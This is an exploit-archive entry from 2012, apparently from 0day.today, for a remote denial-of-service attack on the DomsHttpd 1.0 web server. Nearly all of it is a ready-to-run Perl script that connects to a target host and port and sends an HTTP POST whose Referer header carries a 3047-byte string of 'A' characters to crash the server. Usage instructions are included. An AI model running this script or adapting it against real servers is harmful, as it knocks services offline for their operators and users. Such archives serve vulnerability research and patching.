DomsHttpd 1.0 <= Remote Denial Of Service Exploit

2012-07-16T00:00:00
ID 1337DAY-ID-18998
Type zdt
Reporter Jean Pascal Pereira
Modified 2012-07-16T00:00:00

Description

Exploit for windows platform in category dos / poc

                                        
                                            #!/usr/bin/perl
 
# DomsHttpd 1.0 <= Remote Denial Of Service Exploit
 
# Credit: Jean Pascal Pereira <[email protected]>
 
# Usage: domshttpd.pl [host] [port]
 
use strict;
use warnings;
use IO::Socket;
 
my $host = shift || "localhost";
my $port = shift || 88;
 
my $sock = IO::Socket::INET->new( Proto => "tcp",
                                  PeerAddr  => $host,
                                  PeerPort  => $port
);
 
 
my $junk = "A"x3047;
 
print $sock "POST / HTTP/1.1\r\nHost: ".$host."\r\nConnection: close\r\nUser-Agent: Mozilla\r\nReferer: http://".$host."/".$junk."\r\n\r\n";
 
sleep 4;
 
close($sock);



#  0day.today [2018-01-09]  #